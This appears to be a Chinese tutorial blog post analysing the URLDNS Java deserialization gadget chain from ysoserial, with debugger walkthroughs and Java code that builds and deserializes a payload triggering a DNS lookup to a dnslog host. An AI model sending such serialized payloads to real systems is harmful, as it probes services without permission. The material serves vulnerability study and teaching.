反序列化之路-URLDNS

前言

URLDNS 是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是一个可以“利用”的命令,而是一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。但是因为其使用Java内置的类构造,对第三方库没有依赖,并且gadget也简单,适合成为我们初学者刚开始学习反序列化利用链的一个很好的开始

1.URLDNS构造

构造代码

import java.net.MalformedURLException;  
import java.net.URL;  
import java.util.HashMap;  
  
public class URLDNS_Test {  
    public static void main(String[] args) throws MalformedURLException {  
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();  

        URL url = new URL("http://afe2aed36f.ipv6.1433.eu.org.");  
        map.put(url,1);  
    }  
}

我们运行之后发现dnslog收到了一个请求

在这里插入图片描述

1.1 HashMap的put方法触发请求分析

在最后map.put()方法前打下断点,跟着调试走

在这里插入图片描述

进入到HashMap.java的put方法中(如果调试点击步入直接过去的,可以使用shift+F7智能步入)

在这里插入图片描述

里面的putval方法是往HashMap中放入键值对的方法,在放之前对key计算了hash,继续跟到hash方法中

传入的key是一个url对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()调用URL类中的hashCode方法:java.net.URL#hashCode

我们进入到URL.Java文件中跟踪到hashCode方法,这个方法的目的是计算并返回对象的哈希码

然后hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算

在这里插入图片描述

所以if语句里的条件不成立,继续走到handler.hashCode,这里的handler是URLStreamHandler的一个实例

在这里插入图片描述

继续跟进,发现会调用getHostAddress()方法

在这里插入图片描述

在这里插入图片描述

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。

2.URLDNS链分析

2.1 前提

我们先明确产生漏洞的攻击路线:

前提:继承Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

2.2 分析

首先,攻击前提,那必然是要继承了 Serializable 这个接口

HashMap 确实继承了 Serializable 这个接口。

在这里插入图片描述

发现有入口readobject()

我们看到第 1416 行与 1418 行中,Key 与 Value 的值执行了 readObject 的操作,再将 Key 和 Value 两个变量扔进 hash 这个方法里

image.png
若传入的参数 key 不为空,则 h = key.hashCode(),hashCode()是一个object,满足我们 调用常见的函数 这一条件

在这里插入图片描述

2.3 攻击分析

tip:如果在测试过程中发现dnslog没有接受到请求,换一个进行尝试

我们自己生成一个payload

public class URLDNS_Test2 {  
    public static void serialize(Object obj) throws IOException{  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));  
        oos.writeObject(obj);  
    }  
  
    public static void main(String[] args) throws Exception{  
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();  
        URL url = new URL("http://bfe70140f8.ipv6.1433.eu.org.");  
        Class c = url.getClass();  
        Field hashcodefile = c.getDeclaredField("hashCode");  
        hashcodefile.setAccessible(true);  
        hashcodefile.set(url,1234);  
        hashmap.put(url,1);  
        hashcodefile.set(url,-1);  
        serialize(hashmap);  
    }  
}

我们先设置hashcodefile.set(url,1234);

上面分析过,hashcode默认为-1,会自动执行下面的操作进行一次url访问,所以我们先设置一个非-1值,然后put()添加进去之后,再重新设置为-1,为反序列化的网络访问打下基础

在这里插入图片描述

然后我们执行反序列化上面的ser.ser文件,就会触发一次dns访问

public class URLDNS_Test1 {  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        unserialize("ser.ser");  
    }  
  
    public static void unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {  
        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));  
        Object obj = objectInputStream.readObject();  
    }  
}

2.4 ysoserial的payload分析

我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。

ysoserial/URLDNS.java at master · frohoff/ysoserial (github.com)

打开ysoserial/payloads/URLDNS.java的源码,可以看到它的调用链

*   Gadget Chain:  
*     HashMap.readObject()  
*       HashMap.putVal()  
*         HashMap.hash()  
*           URL.hashCode()

在这里插入图片描述

在这里插入图片描述

我们查看ysoserial的urldns的payload生成代码,和咱们上面的攻击代码相差不大

第一点是禁止序列化时进行请求,1.2.3中咱们是通过设置hashCode非-1,而ysoserial是通过重写空的getHostAddress方法来实现

第二点是在put方法之后需要把hashCode设置为-1,然后在反序列化中触发访问请求

ysoserial的payload生成:
在这里插入图片描述

3.利用链挖掘角度分析URLDNS链

如上的分析都是我们以一个漏洞分析者去正向的分析这条链子,那么以漏洞挖掘者的身份我们就要倒过来看这条链了,首先我们从getByName这个函数开始,这个函数可以触发dns请求,那么我们看看谁调用了这个函数,我么可以点击这个函数,然后用Ctrl+Alt+H来查看这个函数的调用关系

在这里插入图片描述

然后就是逐步去看这些函数,是否能构造反序列化链,构造需要我们要注意三个事情

1、参数可控
2、类可反序列化,继承了序列化接口
3、最终走到反序列化触发的readObject

所以整个链路线为:

  • InetAddress.getByName(String) (java.net)

    • Url.getHostAddress() (java.net)

      • Url.hashcode() (java.net)

        • HashMap.hash(Object) (java.net)

          • HashMap.readObject()

在这里插入图片描述

在这里插入图片描述

4.参考文章

https://www.cnblogs.com/nice0e3/p/13772184.html#0x00-前言

https://drun1baby.top/2022/05/17/Java反序列化基础篇-01-反序列化概念与利用/

https://developer.aliyun.com/article/1215712#slide-2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值